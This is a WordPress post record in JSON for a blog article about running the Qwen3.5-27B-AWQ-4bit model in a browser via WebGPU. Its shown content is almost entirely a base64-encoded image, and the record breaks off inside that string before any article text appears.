{"id":3935,"date":"2026-07-14T05:06:47","date_gmt":"2026-07-14T05:06:47","guid":{"rendered":"https:\/\/casacodeta.com\/?p=3935"},"modified":"2026-07-14T05:06:47","modified_gmt":"2026-07-14T05:06:47","slug":"run-qwen3-5-27b-awq-4bit-via-webgpu-browser-easy-build","status":"publish","type":"post","link":"https:\/\/casacodeta.com\/?p=3935","title":{"rendered":"Run Qwen3.5-27B-AWQ-4bit via WebGPU (Browser) Easy Build"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRhJIAABXRUJQVlA4IAZIAACQKwGdASr9AU0BPjEYikOiIaaiJnJKmNAGCUl8OlDwFNj+JdUc72fTie9W84pi5P9n15YuvZ\/5\/9vvyx+cfjvtn9ufhP2F+Yf3Nfye\/34r\/hf8D+3eq70h\/x\/u2+WP+4\/aL3Vfnj\/bf2b98foE\/Vn\/U\/3\/95f8X8X\/7Q++L+9f878pPgX\/Ov8R\/4P8H++3zaf9D9hveT\/nfyV\/xXyB\/23+4\/+3sQ\/QH\/cD\/\/+uz+23\/H+Vz+p\/7\/9tvgV\/mf+Y\/+f+u9wD\/\/+17\/AP\/v1V\/KbuW\/xX5G\/3j96+vi9jf7J87ONP4nwW\/mX3X\/K\/33jt4Bf4z\/MP8J\/Z\/2B5T0A\/6d\/Wv8J\/iP3K\/qPxldy\/VbxAv1q\/2f24\/V\/ie+mewN\/Nf7d\/4f9D+SXybf7v+Z\/yX7ye+P6m\/7P+o+BL+Zf1z\/df3j\/Ne+x7QP3e9pD9tA3LF99\/ZcE4cs14f1ZUUVmXgUoIxNiN0ixJeLWJXfmL61QvCMHoMonzfDa\/z93pENHh74oRG63D5smdHE0ajKSZrWG2e\/NWbDAvVBOD2nX\/Icv223QHb7R4ZKeCX3b5ffSd6FPIALJ7qEL8cEj319Zs9pVvnfXeN3at4X1kLyFH+sv5APqQdxHDXuE5FwNouwP2e1f5O8YFAwtuJQd\/GHT7\/71zGkg0\/eUo79Ynapa0mc1ssaKRJLr3MF4EcNVZSVSnKtvV7d4zSBFLNuNW28Y0ul+DmSe20u6bvWbUXx4c5G5TCajP99Lnq7fAGmKy4Y6pazF2onMuk2uTjAX0fp3go0By9c+2pffO2NkexUPCJkMxBzSHlF6QYfQYjYOz8Jyly21dWrXn0T4Os4kwu0NZ6WBBaK8Mpr7bMAIolhMxbn6Y9EzbNc1Lky3zMu\/2cxGOp\/q0Ky5bK7855S1HO1+fJ3yVSMsXLn\/Ywj6SP7qtvKze6em+skz2qJnaqvQXzWrqiGkOSD3u5XAfGqwakWgKUiDhT+1zNnKWPFOKx2GzK4I7rVbBnLxydJmxy8JYBJo0sRxDBJ85piU2QAgrbsUi8ffNyN3eFKN9aInSKOnWWcdXKisE38z+ytMipDPGfZfRVtt6DZc+MkzjCiLozMjZehH8ZBi9CcMyHHaR9ArCgit+y+RSwmL3CSwgcYiXIpC6VuXg5HOKX018jdbzN9jrmesz3P4VeJi8rlMcptUYH0lNN++S\/N+i2qAWhilGEmn2lJ1A8oDea0+4fwT4\/5bQiTlotJaRNTpLaOhDWRn6zzHC2DTbBGOjlc5gx4z54i1VodN2muLE0zyhoyxmDGaJO8baWue3KUOJ+ekmAiYZTKsal2YaU6NiHu42T1tS41VhusJG9Gx868Uzb990ew0LvHHJPxyxVRKCLW56PsSLGIG3y+Q4JZdIaIpSkmA5\/3UiIeG9BgeHjtPhkpjQbNyI4t1itg1uyhgwA163xb7IEwDFXQdD3ZDbmkC8KsjkHbfRAE7nQXldcFfn4gS4u8RvG0gu6Uc3A7cqsZdipYH7ogViy1DGorSRhszvIGzBS0KZX99iLAUMj4J2mcSYBpiwPzwqxIa30BCJMtXp9+hW\/Cfm\/q3nQEq4T8wL\/UDcegLrsJYb+kLsxlAdEN\/zYgMNh3VmnLEDy+RRTGdktOdZrH52gz8OkaIADQV2yPzcyP+H7GRdD098j\/rJ7fAfLxdJvuaIVv850zYDYzZehyN4SK0J1\/qtbSTcYNqj1mVL87eQc6GcKQOcFnNRjFPy5sZ3\/1\/Zo54Trf382cPV\/7pGnLYVuFu3840\/w5C5vcYqVqQgkJ178UD9nAsCveIYk3GyjyDpHqbwPV\/TnXpxtMrGv1jilLl5eGcMHQLX0oJK9CjgMtyUvDr9cjMQRukcG7E7neSG0+4ELQhTRJt+8Dt7fvKbUZloswjy1DeJPH\/JJLVosrv5R7aZDfwm\/h++F13ALAGNz3euD6RWMQFg4wg\/XXgZHWn7kSBi+eSTv3pNCmYtRH2sPvL7nalDFSPLDFjdWRb56fC4IAxxXaXAw2KMsq3p5xhRaVJ1P91r\/1uI0Ifn3niXXN0IAa\/5UKvrCXAZJa7SCXaqt+ZmqSUKN7P5tKtSyE1CqdQbzmKIxcfpAKtFtiGJggzEcpubcPbtvt2Ok4XiuuEadWM1ALTGuJ1ymyp+q7s4WtsWwjxbnKAJLPxwefS6LwdPxkilpl1hQEu\/k1v0sulqj7EoxFP\/wtm1ThfWj06XFQyu0iRyIcNdFwDM9lWNyRJUkxI8VxaPYNDiGH5nnt40QRVN81uNcDHaeftNblDjoqOqAp7uUN+fLCda19tG2Lb1K2kCHHHOZv3B03wIo0WdZ4yt5qDs3FcuT1I5yiD74x3jiprFNcTVwTGjNTPSgcjqK+MXXQJ0PB5ou0bWMSQexJNr6hp3xvIAc33TWb41plrTDxSxFjn+A0x4UWfEblHdK18rTv506vZI53pfE4zUvADSiSd3jYkOpMtNpIGvRqtDbU5bZVFJtV7m6i\/h\/s8bQ\/HJU8CXNz6rI7byqneFK6N6IiSc2AAdM1iXRJ6HoZMt3pqnKOJ+AUSEgdYlrdrHGXJDEtvmZW7gPeqcFVKnJl+MKwAQZWvPGZHGWFqXJpNWaMcC6ieNn94rls5XD6Vmhmv27K51QpJQ4S2F0ZxvBMfhihqR\/5fM3442PdX4u9h29gHIu3YgAjGw+iEplfv\/+mxj4Vp3HlDxTr0WXXNW4GvA3CmCm+FEWjIG7y7bUaNlKBC9hygbwgaWI6zjHC\/lhJrG8dIMKO7+XARyY9Cd5XDfbE46Hff21nX\/xsDm01W0r84MVoKsemRh\/VdF9wNK3AQBZqWhmmxTG04dFTEaEbARP2h\/eyR0TASaGtPkpXoQ46G8aK1Hn80GoMTF2PnpBu0cQJ9McmZOof1veb\/XDuQHMAPPZPGnWRM7mnNo\/VVYzBOK\/g\/7Hu4zKLss5hBIrsdRt3u6Y3uEk6U2GolJfVrBHBHz3+z8wrPjzA\/\/SlH8U8Iz903mLqIayJmuCzheu7TElR+ecWgF2sgx1ELM2nQ\/cAsgf+F2GBm6iF71n8BWHODX+WzSJst8Kb1MCYL0gMU1y7V8Cg6HGWtaq7+0\/y531i2za+G6nPdf9F43MjtYhIMuA6ojIjdVHKpovXTXeXqiqREHPCuAqZoa3++JujBQAddkIeHRvnCJw\/jFgMIwvt\/LWkT3rKGV5yGbvawKgAD+\/tO+if+RMq6J8fJzveVeMPaM4CB\/NFtwSfT6n+p2rDNwbKFLtIklRirgDGXhzcoZoFwHP08Z5dm1uNrDm57V3P6ZPBhURDS2CJSDUxFONaIYNokDu3zx6kvlIw60e42rvu7WWB3GUFYdUIAKyLmigRE98C4NxZwR\/td\/m3oq2kUM+zzNqurdfTqpukyXxb7EUJsv13J3EylXtD7334Dwvapv8mmiam\/UPw3qBRgCL5duPqb43ac0+Uv\/JkdZm6gd3RLAVKyz+3QmWO0sFQs\/TYzQT\/mNRDZznRklQulPJ7N4122pMAsqJOBqG6X62TaM18nyS9e+2LOMybY3BZhIhl\/AL7janG4uetjkfpUrNBdaSSu7gOx2gaYKVueLw7bM4geQ9amLvH69RQ17CqqnrAr4QJyMT0wX3yq2Mwt+pFl9ug0vgy33wSVlEHS7nfBFOS9T4pH7Sqm8bZXV5zmMt8Bfw1qtv5ZkmPexX8KkMhFE22xZVAb3gunZ93bL\/pAAntnrU0ApXMvL9CV8swbwtZHc\/E85\/Np1X903vdxaNRnPs0zYem7VQ27HtN\/WreI4VAhBcZ2BokDLJn104QVTrax4DOgs1Jo4dmjd9DPYmdrmAZCrRy1H+d7VS6SGWMILBJ8OYlT+XdYL5PT5ZIjnh1Fw6RbF3hDn3Hi2jsr+rAht5j8RBNm\/sxRyPpqoU8whhN94G5U4G7aVbfsRjPAwusbziB2vBp6i76yDF3AnnjnmyP\/VqDmb6oMaKS6iwV1qAUMoolhr8jpiRwgQRLfaF+kXa5ZBiGR6gfBG8AfK74We5DGaeJxy2H7xkgEEau6fezVfL357Jom\/LAuKO+rNOvQ3f6IBXMrB5+\/4eVEOi+yPr1utA+Pka11TIyNzOA0d5SJLdEet5sLbJp+QPb3f4XpIMRKpP+HlC1J1Wtdzr6lt59\/hUasn2PfL\/ZZlUxLhtkC+4Pa+nFSKNOEX\/lxSHiS67EMIW6wz1jKD0jxaX8W8K7MDlWgQHxma6E7Mb0HhFO\/9nomUMBwGZiWIL2Wf9KS+pnWmOLRJOxFDQ2GIEouUcypX7R527aRf8EtTzP\/pHpGW0cAonKVXueGqfMLtipM+QDX\/uvLaeSZWAtHSffwlt9px591U8\/WOVSMeFOlhzkrQV2uaY3WkcIBx7FnJ03FezJGjfoYseQ8R9+bvRGELxx3qaThUFThR4qZNkPDji5hoa0EY3EULwXURDdx3kxEa6kDKYqgklk72TNFC7CrO+sYGQNW\/tS3JDTIsQGfxYReBGPACIxMEtzYfQezqnzSgLH2pcgcUNqiypxyh2g0K0InQS8bao2ZKlxQqbG8+L0K7qcAZUUmImb8RHG6W\/5j0pVelhFMCmQRVVWNph3KaGvvy49kuNywvI8DKdlrmB8MgwOxBUsFKKtOFEmHyxYtqnH6BYdeZCv+JLhGUlNYMqL59XwqG4f0TAY03FZ306mk6Ma\/Dy3RS9hOTDEaGGi1ypeEr\/hXf096rFIk9pG5drK+ZBeSBvM2QUOGFsmSKHgVrBMhRYv315puY7P2em8cQHZ8LMFFE0DeJLg+\/O5BB\/HacwtP0N30S0bKGbsHB\/sMfmkGdPNkAhYGqQ50dvoWpqy9fDMYmtBV4f\/xXBf8cIVLpRnwAw8R5FwMTZarja\/S2x0FhxOqidKUq68LNdqiii5dRWc7jK6An5ZwhNaZLzeFMNlo\/DJNcXcAwI2a9HO0+7kVSHi\/pnjLbRq1TNfo\/qXoCGbHoUxRVYzTv8uODgKBU4oWAnygpP7\/0kfvOzqfekjB3ZsOXgupaqYgQWxpd1lN94EfyENUU\/qWrlbVXR6TpEvIICroIk41V3HwoT6vAOZbpSTVWhcqidoc6645xVi5LAinwmYHuro4JgsiZvSmgpk+8W3w7rq\/AG0y9FwHF1\/T8Rjyf9vRGJEsiMWbsylMJPNQBFrwdLyAc5pg6mrtIeXHIj5siC\/8K\/nDfIg1QUyt2\/oxaxgmVAD2m8td8k1QtInavNQ6dNFh1Eg6wVfpy7EA1D+NEBbB09+O6qNjoHSpfDxAbXsuMeeuDG6lIaqulzsW6n69rNR78zs0ToJVeP2Fdil57t56VwcEwumei3EVGs\/6qln8YjmmmXwwFCqUNHfltY53h\/8Mue6XOZDJgOSUhoq5schoQwjaBAmttKhPlLn62UhA\/h8VZF54nis93PSOCBC9E0DxzY19hFTNOeg\/ii9YoHTXwVOoF7ItfnbDjHyCFinmTHOxh\/xf58suniy\/4QgtRmkC4Vrxy422jlWpF0slaeFcR3HdF\/sqL7TEzZKqxTGgWGhoqZreKHPL\/QtnK54j4NOb7Weni9Xbp1MiNTzMfYeJC+F8CPT\/KypDl6eSBCzX4ZCA1bcFvArXNEURSWd3ZMXaPD6w05VZDiWLCS6mXvkL2V\/r8AIWpsigVdpT7SAp2oY4lpsvwZD\/7ov56yieWBGz7iLVG7LKGnOOqlGNcJZppobGjFh6\/EHq6Vk7N+ReFW8r07x8omJTAmgmoHY0BD3hvHGiMcZ5mbcmLLbwRTMQwkxA3I\/qgLqyf9+s1iLSry0Ib1s4Dk6HkLsvJY8pWJVF4B7lwLla4r7piSew8NfFk\/ptJk3b80BuKLv3VQ8pTJwFoUoBnN0y5UEeLA\/kbkTAP8tDktGi5OdSTs\/g3AEq+XjpxzvISh7IC5rQj73SrgGHdQ+uyoT29EOSxocL8d1fSxxECRefoaBeUVQiYweUxppbG7cHjnaBGFJKubta396Kz\/V7AjUeo7e\/oqx8zURMAi9IDXXT6DEun5g9dqrkyKfISP2Zy9AsUt8VF\/rov\/Y6+TsWQtBf6gR2e9Ohmg\/RwXtiJYPd01xszPvoWG9SzQpOV7F02CzpdZd95UDQM30jwmE5+fGxH0g4HvwN0MS2W1iufG9Lw+vrQWdBPrAUvaEa1EFYAeO5cDfusaiC9xWwXedCIw5vTUIF8wG1L2MianiM0XZvitpySK8OqZ\/rwPGY0No0qt88gvR4q1KA3c5QzS1RUIHMWWz2tojriJpOUYRtr674PWmgRkmgLAQ1NM1lApA9mZfeGzEQFUwi8JukpiQhU1zVHaAlST5ch6gf6kFPRBFxhHyRJASlbRQ50p41jjGF8L2Y4oZXW\/nD16kACmWO42fo+RHu\/aVnTNO06JZG\/Td0eNhE8n7eIRgNHtZNCjnZSOR7nuc7x4ELnpsoE58cKHc0vryX8UK3KJ2+TLPh6IFqOu9X5sfimp37jVUm2rUBJRYdYpKC0uUd6faYTqlWul+7wB0dGQmiLDSw8ffqDfAySJSkyS2k8SQG4EJV4Y0SMe5vMex2zNvrpCsVLCiXY4j6maguOY+7By+5b3\/0jSP0z8P+QKs9Q6\/M3I1QIrSqOXhLUS0aUWkzCWo1GID2cP7s0iIAaYe6bFOBBaIeJFUYWTzOEDKb8WoT23jPUBZUNBPNpVkvMs1WgdzOuafeDCTQxYEur+xqNcCp09Ov2S5jOdmin5w0ykSusxabgBlhJBNPoE65s8kadWojykdKFZ8H+Ey8S1pC89NQSr437dlgzOOAkiXgCewj5OZRIxs5LxSoBYhEV561zZAgpDu5a4fo+5ScY\/oIasqKwEfzdOFBG\/usVKnOLlOe\/AEDG6Nz5ZQrv1Zsg7l1BJ7y09CGJDpd8sYuj2C\/6FrrQXEk+dMQNttM2yBOjWuCXecbII93vWq01g7Qk2xRNpuJPqi5Wyusxcm3S4wrEE6Qh8NXM0eeYM5p\/GSsYLXajk\/pgfln\/PI0cVJCugXEwNHa1ruI1t4dZPeAvopE7XPk3GfULQKDhV1jzgewsAc0KTe0vZTzj\/ZAWxWHFp6wgf6AD4ZQlyHR9260nxKibeip4GlUswMQ48epxUCFZqz7SohKfPMnsrrnMaYKGVuCr67tFXB9Nab6CA3Kk2BFqtGEjbMrWFxdCxbVZ9eET3LjDBbRqSFHI1SJQYIpSHlQjP0r\/g6ugZBgjtXiaRKMcijgc\/RPRcLx9aNeiNa5v4gyrn9HMmsSmXTJobDIuZYvoYBk+RD9FBg7tRo0JFJOlB6o6odxWSMFHJ9+Af4CCSkPL3dH1BfECKii9XEJz29nlCVQKpcYRzppOlCdiPtDa1qMfgu92WSJ8eTYwY684RTOlj4ate0WoijD\/vcFcwxNbBs0tCEluO41D\/2Vfb6uqDphoYVudjWj\/LEViypK+SxREdBqXmheF\/gy4zl\/3G7nOpSlbEWo2fARUtdUG5A5FVK7XzTsYkcr0YHAIEXviYoFNb9n0B3ozFb5Zd50JS\/dspGCRUrQWu7Yp2c5Mh13cCx7RgKGaPKLXnOY8r0PHksoLLUj3ySo3UT+yT0mTZsyUByvnY\/E0ZhKmDtRt6NKyzj3Fgh5LZZi1hmKEDEyEyconqHYEwV4227yo\/A9r64eqNwPeGJ+lTPGffA\/PiTfjtq\/YN5Q4sFypxnneOvp9AtgfjC7teI39KTFBRA7bEstxbFu5gEfrjUCFn+yVXQBtHNInLN2YLhc9AuhChVCsW5e43ki0QZP2RpzibtCBUZoThxVrBEiHoz37uu7Uae9UzvzutC32qe6VRBi4nMjDAXPKfH6MniTvo4JrjvYA4aF8GL0xk8dkHODXvb3EzdM6eEogwVWh8S2MZ393ErYoVck8cqVQ+t5AlGGViQeH+dSF9ph7MLPAOnlP\/eSl+RfzMXp+sqaOAKtb9H1qWDos7QR5BaBm0PKWhu+JdOy4vw8cA0ap9Xh1vVjWMH+vaN+alESp0iZOBIbMPwj3tox8MNpoR3Mw9q3QpKdlsb6h2B\/NQLztuEDqf+L9R6jmXxevnkxt0mnqLpfmo28kdZdqXcG\/chAcv73KzRAYb\/LMCS439h+NBURGpFI5BGc9VzQeb8Qsepu6mt34aScBXMCUk0iJUgX6ZyVCNSIrG1yv94YNML\/6PFzVpM\/CYh3Do794nHAUZtlDH+vhQPCm+xxxLaGadv7bH99Imf2D\/fScbcz1Up3JSAEk0gE3e8uOb4NkHgBjHeFoeF24KxG5JOJvJHhRfzA9VWtWAmjCJdJPjQKoS9do7J\/aNKN8\/VyYt0z2k9gTPjOGzLppMFQNc6HhdToo163RjMLKuC3El2Jgg8aEVLF62YfakBx+Lie3E4K0EEtBrQe3Hql2GDN\/gNOT7bqae6xiCqM+iQNVk32EpsIg6NpazpMEv0rmuoTgsGbuP1uV4ORwubHArHQOpwdI+\/OGs7r9oGr2tehUw2kDyuWrxdinMxOqgKTq9st9fuiSM7JASoNsH5Z8p5DHC+IeLeM3PfezSG1yNM4Kjt2tnwO5R3fl8TayN\/FsieOLffRyAtkk3HPW\/weyAwFLWB8ufDKT08oB2JySG4sjYJcvJqUlKAf2LQ840kj1Rhp4SyZAfuOF3O9piiCAFa9cD2sqriM8ETV3s7bGjk6Tq6ImEBZYT3wk4EemPmmMBbObf1XawlT4KDNzbrUPDprEMmPPo77ge451R+iCNp6\/YyWK4nd2eQvesGAGcGLYGFIAPVEWwqZWQOTPyLQgdKzsYX\/\/O0lFkCKdyHKTQ5CKyh++qhaGXSykf+tSETuKcsbBVHBiojSWRizUSU3t9RDm0W7Knf\/S2KDnDCgekb2xzzUETRh3\/Fnayj4lsknHxhhJ93u0ZUnR8lVuTiKoqnVsUcgO9H\/\/9F8BstEntH4cgyb0siUM5gV6Z78gJC0UmuD7RuCs7Z7Chcs9FMksY0zXo6cfF6foVQ2+d02ppe+Vj38Mzlv7F5C2ab6wu5kTG0AzG6kF0Mgk1PtIj\/5bzXOria1Ez4gkdjCl\/PvBUobYgiqer4qgEtW3rc7teQrLt2ctrCzDrm5yMschubcBP++3h6OlnNUnmM6RFmLLZMguqfRGUhojBS+3bSDuL6eAQsx7dWjDTomifFYW+4JJO6\/xdt2AGsPvpBgDhQj7ybnh3hwRzjO19FHGVjj1D2HTQNFm6u\/DtDT0JpRM9PSkk+SbTfS9O4RQvgfZkAZs+oa2wH8ntgEfWGRqqnURZHTlgUI\/scWg55y\/Q9D54S7dgSezbrSTUoDEogn+Ur\/q8uzvH+60Q4nVD4\/O5gq7cAG+E6FiiRB4CgVXuOz1KtIfGt8MpMcZbctr+seJVTYXX9t3rSlwkBszZRMZ\/85CZLGq\/V0RhgDPuWLXb0yx8DhHR57T3O2f9jzrJDJjVTWnCY7DHuN3DSEHjsjBjET+5gbQIdBdLpuW0S846w+FwEIZs7v\/ZKdNyYlkTzMiKt3EXMsxjHhGHs1FEi\/XU4BPu53uY2ENIFAiTrctcn7MC9U18xnUZiIc1jatXYwEor6Kc4kozZBeP2W5awRI3PAVvjKiuoTctzQmo++NCcGKzKzeTU5ob1lzN0qURgWrGHqyVvXWuFohFRDbsod6dsuvPGLTq4GC+++LbCEv7festdTbugvlV\/\/chd0yR4DfxjRVX\/ncIuZ6PK9FW\/8ckWUyx52zuyy14nE3emWzmCQH58mrQi1pdknWGt8tJS+NofTk8qxmpcXzeDqODSM4HcfWaFAjll1XKlssHE9CVyN6yz7GAMM9vMNRHaS\/qtTrqsf\/4XnMRqlsveybyjwkL0tc5KVJbPmTHaqPjWqHcYTo0LfCqVr6z00kasSIpmgYS5KGwHiyZ72rpY7UrJmitImiY9IMxpGC9HSdpT+gjnyK9FGgUQk\/7NeEH5OvliUI3+IXXm\/e2YB5o9nHbIu3Agz59zviqPvy0GyHtNIdvn9OAd9E6Z5cG44EPLfR24L2WPo9EkuncVcU0eTEDaEhKitfeZq6zwEa5C8ysMXzAAT0LphSbifGuR\/57XMf4v0pUtyCIXHhaysjlBt93sn9ONCNcQge75EOGO\/boc6+xi0bcMiYWABs1CVzuA7j3G6D579vpuvvoFMcOD+87mnxeqv5gj3\/ruiDE209SRrpvVz9yIAMXAfALXLiB9mblEUC9Vw7+rki8gaTNC3dtWDeqt70EIAc\/HiHee3U7+Rdzk3phk9guU61Op0Kq6eHNbEwqOIqBR5vEZ6o1Cq62i+AHcmLq\/K0qbH13j1SVfi1PB8a8i9aixuA6ZDUDfRo3xKFvBOP6Bgp6peqTo3+TECL4sN5GgTh3Cv0NfwiNf0a0\/MGfxA43P85yZ9GzWBSWC3bVnmsDkPMztEFzTvxMvzoYDxjMOd\/z1m+WqXx2NzKoskIZicCEnidGFeJzb5\/dvGbVIsy3EIQFmWloqlc3swcPzDVAXxPuC7UYcfwv6Ts6UxGeHtmC88iwDHkpi0iuOxOewawhkipdj4Qy60Isoer+GLc7pNM1WWowpKIcJYQ8jFNHzUH3g5Gr8uYs4YwBnsde55QbV1wDsw2K+80ULswopiQ9K8UxafFiCBOdWoKH3GEdSXxb79MJ\/4tbJoplcCSa6Mxqx3\/8XV5L+uCqmxEXIPTLm3eqtHMWYbOUbMjG8V68GnFo1UyfvLQybD62vx2d5ufEJYC45VU9puDlduobk7VVT\/031kqlsgKqiQxYzyfd81lLUS2wy3kGq5NPotN3GpWm1\/bfg8BWhwmqO1hJEHrDNson9wxOnFOcHcyqCYe05qpNGnAzeinuhOY\/C97DchxuXySij89qmZ7OItGlj+sDunqPQGUu3wqPfl\/VdsrkTqOLNL\/1QLwYbboaY\/XQdhXC09OS063LwuOs3P7XHaYr3SUZuZ3rnOTiCZZ\/6P\/DTrc97rMtHeSUfE51vFL8+KaUUxNySj\/B6tQXIPD+b+U1aa+OwEZDVRQUAELOUQ\/HSFcigQAv7oChijmIKymV7eOF\/xn3OpqWN0BnOCKA8AJRcDg8Hx7PE\/+zOJ+mf3ktp0z1kz6+hs3m2aEG\/fQMXrnf4WC8IX\/\/ecuRWCiJKb3w8zd0REJSohQO7+YR5FNuKDVmkwuoOjiuqYw2B5punDQ\/nAVwx1i53qtaKoYNVuUpYLMT6TwXBsMBghLj+9K3MMVnzhLQYMZTXuuQwAdnXRlEIc\/tch4iSkm+7NnO6Ytip0QMlx50UVjFlBl6qaNEKDWAJjo+BocChcN\/Hik0Kd9dRr5EBN+0ku8qZ11QGpad1JxqVsSNE0QEf8TRrQjTp4Fht3r4JKeLgjcQTqP\/pHjXtBvHR3nwc1pyVYMv3PNrltNr+CYCGhIgGpAzawAA6CpV1fswU\/Vy8zpQx3xhbL1Snza32TxhD83o14IGCB9M3E\/L2XPvPll1luYnUQkcKgnlk96klnKC\/TwNobaPcWLO4BEjiu0w5Nt2Gl6huM2J4FAj+hPoaOQB0AsWZqpCAYzi12O2v3ymzbHyKO4MxDx0Ry763nwo48whfdZN\/d1bgrtiuyZ1+zf\/kMl4+3da6M9hC03KkkgkcV\/WaPYS0QxAy2i0eqoiNx0UxJXxSoNaiNkbAQVM6LzX6MwCWuIjGzIw\/y5\/+w+6UYQGO9bL4cklOLGyS5FfRoLoys1m0srEffn+SwzHD4EPE6lTxy9zIE7F6Gr28tPhbhcw+z92bmhojvjA+rUytMH\/ak5xslHyLtvkEpkr1LYnO6fPyYedXSz\/\/gCRxCWRbEqCEo6sgsDr50Ao6dx2iomLLi\/kbwW9yIpVrW2RJns5TrG4ZC3fHFiN1XMYMQjiljAGddsgEa4hA93yfVvBzWKSn8qidNA2KR+MzCmJs7zT637PjfaxWOLPIomVJiqUStfuYMM7bZ3NMdl+5LgWvbLe+UjLM4prLiDN48bCDgWPzegmz48kHJ\/dixVG6b2aMroO+LIrD8j4HLiqwx4+GgVcpkyiRJiWdaQcolzp5HD827e5souhljHw55SkqTAw8ao\/WVyDYPXbLYXdLMdOG8HVV5UUUwtkVytVFYRYH7x\/n94qvSGNk12ALZHH2b\/zS+D+XJVDTdSKmej\/k1XDZexEubtv96IkypbJw+1BUCdLoJslPIb52+XQtmYPr+8klPJywHrySIlhafRQ\/FVifGmgf+Xg3dTqLdq\/hzcfYGP31S04VmTsqHt8qHOfKp256zBrYTMoEcVY8Dk+iU3807raEk+QrvCE85VscbrKQurSsqxjdGqjcqxSKRExluylwX\/BOJHr\/1QA\/2foM0WbVOtDpTnXg1MXb0Gs8baKP47gGq905HM9ToCKozKQjU6hdkyPk5qgL6a\/ZddTWkluEgPFtk0QlQZ8hswB+6YKtERg8nqsS+C\/xq4Y5fY4eDwh+UkbYAKNLMHswCyHhHvuuznF8wmgM\/9VBXH253DVXlE0bOf2oMvmS0iHdB9+vapnfwAije9OmMX+YJ3sinAZXCzrgP7\/spwSKLs+Ny\/vWNtEyBt4Ah6M1Tmtxa2uLSIIg0wG+iInYTKsQpNniqZ8M9cgVt4A12iHtkBDYzu9GE\/Z7soN7ifv9+0JPGGrqCzjnr6G7\/0ZzH\/b\/zQ69N2M6Yx3Z5jMIpfDkY5kzHNcoozZnAwbByeR5Zk0NaaS6yza9vrEpf1cfUyVASLPFjvUYSAb3eB4MOcF1RSzn4i+\/XvYPj0W5AHd+uGH00PfHqXa1njiVhRrH9vvt0zLjqulp8TlCUcmyUdtm3O817Wk5XFsVHkuYjFdWbeVc4xxXoD8\/QmsAeHqpxy1VvoENp8gyhO9SIBe1xFGIZwMtpXXpwuDHM1CrQ6MyIZBd\/xINkciPFAPjEZ9NBhUndwL1sHu1zgRmuYlJr0s03+uD+BpLni2tzDj8O03fFtuut6d6\/9MtQLzAlO8wNChxTJrgXHg8FMPTd82XvdyN739uI\/\/\/PtP7mxcsAOaVZfxafO1LYWJ7QP+CFNITYb4T+7DF\/Mi0+zaxaiPoDKzt0IYrNt3vGCaUG1Il0tc\/P22yRS52N1MZgkgYtPMv\/uwH2Sm0gjYkf0Jd59bbHI5mV+IRx3VqMg7o102On9be696uLy50863u8J8UkyuWdIqtJoHH0SAoEQGqHYa\/ZOyMNzGqDyuwNZVCFQig0GvCSzR3uIJcZraHPIOZBcpHwj7CQySvpVwt6hjpxam3f73iJBjvyouhXhOfgSJmMbHJejadvQZKX8izKBGNb6YL4+2raImKW252hII\/FRfwbdZHhqHTagITpVVPJZHpJ1odNgTD\/6tyqxmGHsSrzmmmv8AbUZKx63btZcuZElFZQmtZJ8WIzKGXhAz4vCHEEfAkrsGHWkXTDT5wdM\/odjoyy7k7Zr\/x7qevLEe57bXNmndFoY\/37I\/lz+wFcsKJ2XSthbJoiZ+sjZDzkboS3RAbf068BwsS3PjNk0aoBKB93UnPd7WtOfH22xPgENXwFWTJP15FgC7v5cA3Xu3nEsbAS8+0ty7P9dEPvkwEYjzpJtctPqTjeLlegFX0PhodfW+I2E17nKy0\/cysb1ok5zumZejnmO+0G8ADBu1ecdr2dQfQAW6oEHXSp2bks\/OtWFpXtcup9oo1bzbcxg8GWkjxNsW1hfLfkas7Uc6QYOJmQ2IPiwM+RnCTZQIWUk\/mWi1Ksl3m3ctLej2576lOS1bTdxKctLkyQeNvk6E9ptFJkMfkZZQuK6gx4udPYbLy6T8Ypk9awNb2xruRtBQKGmHwZKEaqBu41GmsOnljWKmwoiIz4i7btprWMdNhaaeGl5s3qOmaecqYtuzqifJw63Ke02D6ZQkLbKK6Z\/UBdcsc5EM1HjpCOmu\/rfrnlR7T2YIbr9+6xUxwVItptfHQtiBXemSl2lFka0SD4jM0V+TClGiloEUpIxK0kb6Yx2BqFI5Xe\/AHaIClpH2\/8z47dm+WZ6FduSW8npObAwb6bjBqY5Qt4ekJBvB\/1h9UamodI7odVwWwHt21++ui\/8mxO5D47kq2VoCz8JTDl+jvk056a7oMdRCTr9Hocm6GBLD7xGY8ta2tF1eclX4H5MiXd1KWsHSQcR3FFHGPrW0QemTZGHUYNS\/VOt2WxJPvyeV+u7kIIYH\/4urOsclTrvgr+bF8wHn02wXnd7xtIiZD\/EJKQu2M54bzHkO6lqnxNVl7FX+MHfM7Qv3FlRf8K7vBsCgqOF437pfUZk3oQIND5xqnRyHPeVMZ279\/ZLX\/7eaFk5Wu\/qvmPz+05L62I8GLmgj3sZuUTjxdL0BG5z+lomB31WyEbWKxX4yMIsGQ2s5yQVI4KifhAmYPHfvhjDLVnmTtAXK\/\/33mmtibmAxdVXvBHGggyF00EVLTKy9NiNfbOPxhFikGZjydq2grTv0hwxFlpYFKuFSQvzFX0\/M5kZwhZY2uXJRKwBi6R8eMt16Lbnkcy2RpCkPZrh20Mloni\/PYkFUrAWgkkcMZMsEQ+3D5A0\/i3ZntY8ZHEj7QC1LMU80Xs8Odnbu9ugOq4+FCWueTdvQSOVjf3zL0+EhcT1HamZwn2CVgoihEE4a1S1\/+siyuL\/dHWxLpsERtzURufupgtOk55P4SNIeYL95EfZGwU6\/FmbZqXnI+FSYfnBqT97bXsE6hJg8eHNvDoQWlAzb38Hg\/5IxjzX24UPxLBju4zdZSCICJXjifePIFjdHeEl94kbmsiKsQajtku8aWemYSXGk\/vkdLQRzZmOidx4qWEBq69YkV28RXcD0PaPxXueqfXABF\/jdDPXBz6Ef9+\/MR2vQ0hYHhn3SZ9a0LrNEZSL8HnKcKLAgk\/EAqJtLhmr9miBVbxYItURozM579H87CTWk+ZCiGQJx3kSK\/QKh\/viPoNPPvGcbnIH7+NDHCTM0BYIgGVwEJlsd2hV9kEXo6KgINTKuVln9X6nqV4JFwCp4Q\/1lQtCynkoEWON\/d2\/1wovYsYhysCo6TZt790GrybrLXFgRS0LqMpL\/4ZaFR41MIrNPrX3vuD7V76d5kR05sXlFkLOYPcxdlvNYo8t+E\/SacNybquSQpvtkIc4WbBksneJ+Nqui1Efl5UxoxTtrSAFAZ26xEWsI\/ARrjsOkBMmdJizPO4vkwYeFIoiHSIZpnWiQdEXDaFdAHrJDpQvRd3PP7Oj